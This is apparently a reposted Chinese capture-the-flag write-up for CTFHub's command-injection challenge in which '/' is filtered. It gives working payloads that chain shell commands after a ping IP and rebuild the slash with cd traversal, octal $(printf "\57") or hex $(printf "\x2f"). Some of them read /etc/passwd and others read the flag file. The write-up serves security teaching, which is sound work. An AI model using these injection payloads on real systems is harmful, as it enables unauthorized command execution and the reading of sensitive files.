实用指南:CTFHub RCE通关笔记9:命令注入 过滤目录分隔符(3种方法渗透)
目录
一、渗透准备
1、访问靶场
2、源码分析
3、渗透思路
(1)通过路径跳转方法
(2)八进制绕过法
(3)十六进制绕过法
二、渗透实战
1、查看当前目录文件
2、方法1:路径跳转法获取flag
(1)查看flag_is_here子目录
(2)查看flag文件
3、方法2:八进制绕过法获取flag
(1)查看flag_is_here子目录
(2)直接查看flag文件
4、方法3:十六进制绕过法获取flag
(1)查看flag_is_here子目录
(2)直接查看flag文件
本文讲解CTFHub的“RCE-命令注入-过滤目录分隔符”关卡的原理和完整渗透实战过程。通过分析靶场源码,发现系统过滤了目录分隔符"/",但存在三种绕过方法:1)路径跳转法使用cd命令切换目录;2)八进制编码绕过($(printf"\57"));3)十六进制编码绕过($(printf"\x2f"))。实战中成功利用这三种方法访问flag_is_here目录并获取flag文件。文章完整演示了从源码分析到payload构造的渗透过程,展示了绕过简单字符过滤的技术思路。
一、渗透准备
1、访问靶场
打开关卡如上图所示,提示信息为“这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗”,提示本关卡的功能是对目录分隔符进行关键字过滤。点击打开题目,此时系统自动创建Docker环境,本次靶场URL地址如下所示。
http://challenge-1e3a0e9c31c8419e.sandbox.ctfhub.com:10800/
开启burpsuite,firefox浏览器开启代理指向burpsuite。在浏览器中地址栏输入靶场的URL地址。访问URL进入到靶场首页。如下所示这是一个显示靶场源码的页面。这段PHP 代码的核心逻辑这是一个简单的网络诊断工具,通过 Web 接口提供 ping 功能,只不过过滤了目录分隔符号。
2、源码分析
接下来我们分析页面的源码信息,如下所示代码对GET方式传入的参数ip有过滤处理,过滤的关键字是目录分隔符号,这与最初靶场中的提示一致。
这段代码接收 GET 请求中的 IP 地址参数,通过正则检查该 IP 是否包含斜杠 "/",若不包含则执行 ping 该 IP 地址 4 次的命令并存储结果,若包含斜杠则存储斜杠的匹配结果,初始结果为 FALSE。代码试图通过过滤斜杠来增强安全性,但防护措施仍存在缺陷。由于过滤方式过于简单,很容易被绕过,可能导致命令注入攻击,详细注释后的源代码如下所示。
3、渗透思路
(1)通过路径跳转方法
攻击者可先通过命令连接符注入cd
命令切换到子目录,再直接查看文件。以查询/etc/passwd
为例,攻击者可构造如下 payload 绕过限制:
127.0.0.1; cd ..; cd ..; cd etc; cat passwd
该 payload 不含斜杠/
,能绕过代码过滤。执行流程为:
- 先正常执行
ping 127.0.0.1
; - 通过
;
分隔,用cd ..
连续两次切换到根目录(假设初始在网站根目录如/var/www/html
); - 再用
cd etc
进入etc
目录; - 最后执行
cat passwd
读取passwd
文件内容。
整个过程通过相对路径跳转(..
表示上级目录),无需使用斜杠即可访问/etc/passwd
,完全规避了仅过滤/
的防护逻辑,成功获取敏感文件内容
(2)八进制绕过法
构造八进制的目录分隔符替代法,八进制绕过原理是利用字符编码特性绕过程序对特定字符的过滤。此处 \57 是斜杠 / 的八进制 ASCII 码,通过 $(printf "\57") 执行命令时,printf 会将八进制编码解析为实际的 / 字符。因未直接出现 /,可避开代码中对 / 的检测,同时拼接出完整路径。
$(printf "\57") # 命令替换,执行printf命令并使用其输出
$(...)
- 命令替换语法,执行括号内的命令并将其输出嵌入到主命令中
printf "\57"
- 打印八进制编码的斜杠字符
\57
- /
的八进制编码(57₈ = 47₁₀ = ASCII /)
以查询/etc/passwd
为例,攻击者可构造如下 payload 绕过限制:
127.0.0.1;cat $(printf "\57")etc$(printf "\57")passwd
第一个 $(printf "\57")
输出 /
第二个 $(printf "\57")
输出 /
最终路径变为:/etc/passwd
(3)十六进制绕过法
构造16进制的目录分隔符替代法,
斜杠/
的 ASCII 码十进制为 47,对应的十六进制是 2f,在printf
中用\x2f
表示。该 payload 与原八进制版本功能完全一致,都是通过编码方式生成斜杠,绕过对/
的直接过滤,最终拼接出cat /etc/passwd
命令,实现敏感文件读取。
127.0.0.1;cat $(printf "\x2f")etc$(printf "\x2f")passwd
命令分隔与初始执行
127.0.0.1;
是 payload 的起始部分,先执行正常的 ping 127.0.0.1
命令,用分号 ;
分隔后续恶意命令,使前半部分符合正常请求格式,降低检测风险。
核心:十六进制编码生成斜杠
$(printf "\x2f")
是绕过过滤的关键。其中:
\x2f
是斜杠 /
的十六进制编码(ASCII 码十进制为 47,对应十六进制 2f);printf "\x2f"
会将编码解析为实际的 /
字符;$()
用于执行括号内的命令,并将结果作为字符串插入到外层命令中。
完整路径拼接
两个 $(printf "\x2f")
分别生成两个 /
,与 etc
、passwd
拼接后,实际形成的命令是 cat /etc/passwd
。
二、渗透实战
1、查看当前目录文件
首先通过ls查看一下文件,构造payload(127.0.0.1;ls)查看,如下所示。
127.0.0.1;ls
观察网页返回结果,看到flag_is_here文件夹,具体如下所示。

2、方法1:路径跳转法获取flag
(1)查看flag_is_here子目录
那就是要进入flag_is_here文件夹查看子文件内的目录结构,由于过滤了目录分隔符,故而无法构建命令( 127.0.0.1;ls flag_is_here/),我们使用目录跳转法,进入到flag_is_here子目录后,再次执行ls命令,于是拼接命令(cd flag_is_here;ls)查看子目录的文件列表。
127.0.0.1;cd flag_is_here;ls
观察网页返回结果,看到flag文件,文件名为flag_26616891011313.php,具体如下所示。

(2)查看flag文件
最后一步使用cat查看flag_26616891011313.php文件,继续拼接命令拿到flag,构建Payload如下所示。
127.0.0.1;cd flag_is_here;cat flag_26616891011313.php
观察页面没有返回结果,右键查看源码发现flag文件,渗透成功,具体如下所示。

3、方法2:八进制绕过法获取flag
(1)查看flag_is_here子目录
构建查看子目录的命令,使用八进制分隔符$(printf "\57")替换目录分隔符,具体方法如下所示。
#原始目录分隔符号:
127.0.0.1;ls flag_is_here/
#替换八进制分隔符$(printf "\57")
127.0.0.1;ls flag_is_here$(printf "\57")
观察服务器的响应页面,如下图红框所示获取到子文件夹名(flag_26477223123310.php)。

(2)直接查看flag文件
已知flag文件的位置如下所示,使用$(printf "\57")替换目录分割符号,故而替换前后值如下所示。
#原始目录分隔符/
flag_is_here/flag_26477223123310.php
#八进制目录分隔符$(printf "\57")
flag_is_here$(printf "\57")flag_26477223123310.php
构造查看flag文件的Payload【cat flag_is_here$(printf "\57")flag_26477223123310.php】,完整的Payload如下所示。
127.0.0.1;cat flag_is_here$(printf "\57")flag_26477223123310.php
观察页面没有返回结果,右键查看源码发现flag文件,渗透成功,具体如下所示。

4、方法3:十六进制绕过法获取flag
(1)查看flag_is_here子目录
构建查看子目录的命令,使用八进制分隔符$(printf "\x2f")替换目录分隔符,具体方法如下所示。
#原始目录分隔符号:
127.0.0.1;ls flag_is_here/
#替换八进制分隔符$(printf "\x2f")
127.0.0.1;ls flag_is_here$(printf "\x2f")
观察服务器的响应页面,如下图红框所示获取到子文件夹名(flag_26477223123310.php)。

(2)直接查看flag文件
已知flag文件的位置如下所示,使用$(printf "\x2f")替换目录分割符号,故而替换前后值如下所示。
#原始目录分隔符/
flag_is_here/flag_26477223123310.php
#八进制目录分隔符$(printf "\x2f")
flag_is_here$(printf "\x2f")flag_26477223123310.php
构造查看flag文件的Payload【cat flag_is_here$(printf "\x2f")flag_26477223123310.php】,完整的Payload如下所示。
127.0.0.1;cat flag_is_here$(printf "\x2f")flag_26477223123310.php
观察页面没有返回结果,右键查看源码发现flag文件,渗透成功,具体如下所示。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/937846.shtml
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!